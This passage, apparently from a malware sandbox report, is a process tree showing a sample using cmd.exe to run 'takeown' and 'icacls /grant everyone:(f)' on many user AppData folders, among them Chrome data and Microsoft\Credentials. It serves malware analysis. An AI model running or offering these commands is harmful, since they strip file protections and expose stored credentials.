  PID:2516
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\hyphen-data
    3⤵
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\MEIPreload && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\MEIPreload /grant everyone:(f)
  2⤵
  PID:2224
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\MEIPreload
    3⤵
    PID:1352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OnDeviceHeadSuggestModel && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OnDeviceHeadSuggestModel /grant everyone:(f)
  2⤵
  PID:1724
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OnDeviceHeadSuggestModel
    3⤵
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OptimizationHints && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OptimizationHints /grant everyone:(f)
  2⤵
  PID:796
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OptimizationHints
    3⤵
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OriginTrials && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OriginTrials /grant everyone:(f)
  2⤵
  PID:872
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OriginTrials
    3⤵
    PID:1744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\PKIMetadata && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\PKIMetadata /grant everyone:(f)
  2⤵
  PID:2468
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\PKIMetadata
    3⤵
    PID:1332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\pnacl && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\pnacl /grant everyone:(f)
  2⤵
  PID:1544
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\pnacl
    3⤵
    PID:1676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\RecoveryImproved && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\RecoveryImproved /grant everyone:(f)
  2⤵
  PID:3064
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\RecoveryImproved
    3⤵
    PID:2280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SafetyTips && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SafetyTips /grant everyone:(f)
  2⤵
  PID:3040
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SafetyTips
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache /grant everyone:(f)
  2⤵
  PID:1156
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache
    3⤵
    PID:1772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant /grant everyone:(f)
  2⤵
  PID:2036
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant
    3⤵
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Subresource Filter && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Subresource Filter /grant everyone:(f)
  2⤵
  PID:2996
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Subresource Filter
    3⤵
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Subresource Filter\Unindexed Rules && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Subresource Filter\Unindexed Rules /grant everyone:(f)
  2⤵
  PID:1948
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Subresource Filter\Unindexed Rules
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter /grant everyone:(f)
  2⤵
  PID:1256
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter
    3⤵
    PID:2564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ThirdPartyModuleList64 && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ThirdPartyModuleList64 /grant everyone:(f)
  2⤵
  PID:1432
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ThirdPartyModuleList64
    3⤵
    PID:2584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\UrlParamClassifications && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\UrlParamClassifications /grant everyone:(f)
  2⤵
  PID:2600
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\UrlParamClassifications
    3⤵
    PID:2572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\WidevineCdm && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\WidevineCdm /grant everyone:(f)
  2⤵
  PID:2800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\WidevineCdm
    3⤵
    - Modifies file permissions
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ZxcvbnData && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ZxcvbnData /grant everyone:(f)
  2⤵
  PID:1800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ZxcvbnData
    3⤵
    PID:2820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\History && icacls C:\Users\Admin\AppData\Local\History /grant everyone:(f)
  2⤵
  PID:2936
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\History
    3⤵
    - Modifies file permissions
    PID:2940
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\History /grant everyone:(f)
    3⤵
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\History\History.IE5 && icacls C:\Users\Admin\AppData\Local\History\History.IE5 /grant everyone:(f)
  2⤵
  PID:1736
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\History\History.IE5
    3⤵
    PID:784
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\History\History.IE5 /grant everyone:(f)
    3⤵
    PID:484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\History\History.IE5\MSHist012024100120241002 && icacls C:\Users\Admin\AppData\Local\History\History.IE5\MSHist012024100120241002 /grant everyone:(f)
  2⤵
  PID:3068
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\History\History.IE5\MSHist012024100120241002
    3⤵
    PID:1492
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\History\History.IE5\MSHist012024100120241002 /grant everyone:(f)
    3⤵
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\History\Low && icacls C:\Users\Admin\AppData\Local\History\Low /grant everyone:(f)
  2⤵
  PID:108
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\History\Low
    3⤵
    - Modifies file permissions
    PID:2392
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\History\Low /grant everyone:(f)
    3⤵
    - Modifies file permissions
    PID:1776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft && icacls C:\Users\Admin\AppData\Local\Microsoft /grant everyone:(f)
  2⤵
  PID:2156
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft
    3⤵
    PID:952
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Credentials && icacls C:\Users\Admin\AppData\Local\Microsoft\Credentials /grant everyone:(f)
  2⤵
  PID:2668
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Credentials
    3⤵
    PID:1472
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Credentials /grant everyone:(f)
    3⤵
    PID:1784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds /grant everyone:(f)
  2⤵
  PID:1940
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds
    3⤵
    PID:2548
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds /grant everyone:(f)
    3⤵
    PID:2020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds\Feeds for United States~ && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds\Feeds for United States~ /grant everyone:(f)
  2⤵
  PID:1856
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds\Feeds for United States~
    3⤵
    PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds\Microsoft Feeds~ && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds\Microsoft Feeds~ /grant everyone:(f)
  2⤵
  PID:1704
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds\Microsoft Feeds~
    3⤵
    PID:1932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~ && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~ /grant everyone:(f)
  2⤵
  PID:2608
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~
    3⤵
    PID:284
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~ /grant everyone:(f)
    3⤵
    PID:1748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\WebSlices~ && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\WebSlices~ /grant everyone:(f)
  2⤵
  PID:900
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\WebSlices~
    3⤵
    PID:1764
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\WebSlices~ /grant everyone:(f)
    3⤵
    PID:928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache /grant everyone:(f)
  2⤵
  PID:580
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache
    3⤵
    PID:556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\2GZYAHYN && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\2GZYAHYN /grant everyone:(f)
  2⤵
  PID:3016
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\2GZYAHYN
    3⤵
    PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\3CPCT0UC && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\3CPCT0UC /grant everyone:(f)
  2⤵
  PID:1688
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\3CPCT0UC
    3⤵
    PID:2516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\7T9C8S0D && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\7T9C8S0D /grant everyone:(f)
  2⤵
  PID:2340
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\7T9C8S0D
    3⤵
    PID:1304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\98I61CZ5 && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\98I61CZ5 /grant everyone:(f)
  2⤵
  PID:2056
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\98I61CZ5
    3⤵
    PID:1700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\BNS2IARI && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\BNS2IARI /grant everyone:(f)
  2⤵
  PID:2220
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\BNS2IARI
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\BU8Z15XV && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\BU8Z15XV /grant everyone:(f)
  2⤵
  PID:2512
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\BU8Z15XV
    3⤵
    PID:2356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\T317UL6X && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\T317UL6X /grant everyone:(f)
  2⤵
  PID:888
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\T317UL6X
    3⤵
    PID:872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\XW1885AL && icacls C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\XW1885AL /grant everyone:(f)
  2⤵
  PID:1964
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\XW1885AL
    3⤵
    PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer && icacls C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer /grant everyone:(f)
  2⤵
  PID:1676
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer
    3⤵
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\IECompatData && icacls C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\IECompatData /grant everyone:(f)
  2⤵
  PID:2280
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\IECompatData
    3⤵
    PID:2988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore && icacls C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore /grant everyone:(f)
  2⤵
  PID:2236
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore
    3⤵
    PID:2036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\85y7ywt && icacls C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\85y7ywt /grant everyone:(f)
  2⤵
  PID:2592
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\85y7ywt
    3⤵
    PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery && icacls C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery /grant everyone:(f)
  2⤵
  PID:2844
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery
    3⤵
    PID:2996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High && icacls C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High /grant everyone:(f)
  2⤵
  PID:2744
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High
    3⤵
    - Possible privilege escalation attempt
    PID:2956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active && icacls C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active /grant everyone:(f)
  2⤵
  PID:2704
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active
    3⤵
    - Possible privilege escalation attempt
    PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Last Active && icacls C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Last Active /grant everyone:(f)
  2⤵
  PID:2588
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Last Active
    3⤵
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\TabRoaming && icacls C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\TabRoaming /grant everyone:(f)
  2⤵
  PID:2616
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\TabRoaming
    3⤵
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Tiles && icacls C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Tiles /grant everyone:(f)
  2⤵
  PID:876
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Tiles
    3⤵
    PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-2845162440 && icacls C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-2845162440 /grant everyone:(f)
  2⤵
  PID:2960
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-2845162440
    3⤵
    PID:2788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Tiles\pin9728060290 && icacls C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Tiles\pin9728060290 /grant everyone:(f)
  2⤵
  PID:2944
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Tiles\pin9728060290
    3⤵
    PID:844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Tracking Protection && icacls C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Tracking Protection /grant everyone:(f)
  2⤵
  PID:2300
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Tracking Protection
    3⤵
    PID:268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Media Player && icacls C:\Users\Admin\AppData\Local\Microsoft\Media Player /grant everyone:(f)
  2⤵
  PID:2640
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Media Player
    3⤵
    PID:1244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists && icacls C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists /grant everyone:(f)
  2⤵
  PID:2480
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists
    3⤵
    PID:1268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US && icacls C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US /grant everyone:(f)
  2⤵
  PID:2168
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US
    3⤵
    PID:1776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00006279 && icacls C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00006279 /grant everyone:(f)
  2⤵
  PID:108
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00006279
    3⤵
    PID:952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Office && icacls C:\Users\Admin\AppData\Local\Microsoft\Office /grant everyone:(f)
  2⤵
  PID:2536
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Office
    3⤵
    PID:2136
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Office /grant everyone:(f)
    3⤵
    PID:1232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Office\14.0 && icacls C:\Users\Admin\AppData\Local\Microsoft\Office\14.0 /grant everyone:(f)
  2⤵
  PID:1784
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Office\14.0
    3⤵
    PID:2748
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Office\14.0 /grant everyone:(f)
    3⤵
    PID:2552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Office\Groove && icacls C:\Users\Admin\AppData\Local\Microsoft\Office\Groove /grant everyone:(f)
  2⤵
  PID:2020
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Office\Groove
    3⤵
    PID:1336
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Office\Groove /grant everyone:(f)
    3⤵
    - Modifies file permissions
    PID:944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Office\Groove\System && icacls C:\Users\Admin\AppData\Local\Microsoft\Office\Groove\System /grant everyone:(f)
  2⤵
  PID:2524
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Office\Groove\System
    3⤵
    PID:1932
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Office\Groove\System /grant everyone:(f)
    3⤵
    PID:1040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Office\Groove\User && icacls C:\Users\Admin\AppData\Local\Microsoft\Office\Groove\User /grant everyone:(f)
  2⤵
  PID:2204
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Office\Groove\User
    3⤵
    - Possible privilege escalation attempt
    PID:1748
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Office\Groove\User /grant everyone:(f)
    3⤵
    PID:2040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\PlayReady && icacls C:\Users\Admin\AppData\Local\Microsoft\PlayReady /grant everyone:(f)
  2⤵
  PID:2260
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\PlayReady
    3⤵
    PID:928
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\PlayReady /grant everyone:(f)
    3⤵
    PID:1520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /grant everyone:(f)
  2⤵
  PID:2188
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows
    3⤵
    PID:1904
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /grant everyone:(f)
    3⤵
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn && icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn /grant everyone:(f)
  2⤵
  PID:772
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn
    3⤵
    - Possible privilege escalation attempt
    PID:352
